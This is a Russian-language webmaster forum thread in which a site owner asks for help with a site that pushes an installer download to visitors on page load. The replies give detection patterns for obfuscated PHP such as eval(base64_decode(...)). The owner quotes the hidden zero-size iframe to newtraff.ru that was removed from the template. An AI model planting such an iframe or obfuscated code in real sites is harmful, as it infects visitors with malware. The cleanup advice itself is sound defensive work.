Хм, хитрое что-то первый раз такое вижу, чтобы загрузка файла при заходе была. Стоит думаю полазить в шаблоне и файлах сайта, кто-то пакость залил.

wt-rotator - это ведь визардтрафик вроде? Если он стоит попробуй убери и зайди на сайт.

Сообщение отредактировал Илюха - 25.10.2012, 12:01

Хотите обращайтесь помогу с поиском стороннего кода =)
А так полазийте как писали выше в шаблоне активном на сайте, скорей всего закачали лишний скрипт или код, если нечего странного не находите ищите текст с
eval(base64_decode("....."));
echo(base64_decode("....."));
echo(gzinflate(base64_decode(""));

То сносите его, это зашифрованный вредоносный код, который в нормальном шаблоне не будет просто так
А также проверьте свои партнерки, по очередно убирая их, ведь они тоже могут распространять вредоносные программы или страницы

Сообщение отредактировал sdrc26 - 25.10.2012, 12:06

убрал, каспер замолчал, но окно так и всплывает с установочным файлом.

Проблема решена. Убрал в шаблоне: <iframe src="http://newtraff.ru/go.php?sid=3" width="0" height="0" frameborder="0"></iframe>
Всем спасибо.

Сообщение отредактировал Telnor - 25.10.2012, 12:26

На ваш сайт попал вирус- почистите его

Случайно нажал на спасибо, хотя тут не за что благодарить.вы читали что тс написал? все уже найдено и устранено

Эта хрень стала еще более агрессивной. Прошу помощи. Спасибо!

Зашел на сайт, скачалась эта дрянь и появилось 3 попапа. Если нужно - могу посмотреть, за бесплатно. Но нужен доступ к FTP.

ТС Вы уверены что сайт недоступен сторонним лицам?
Судя из топика, Вы удалили это код, но проблема появилась

могу убрать, обращайтесь...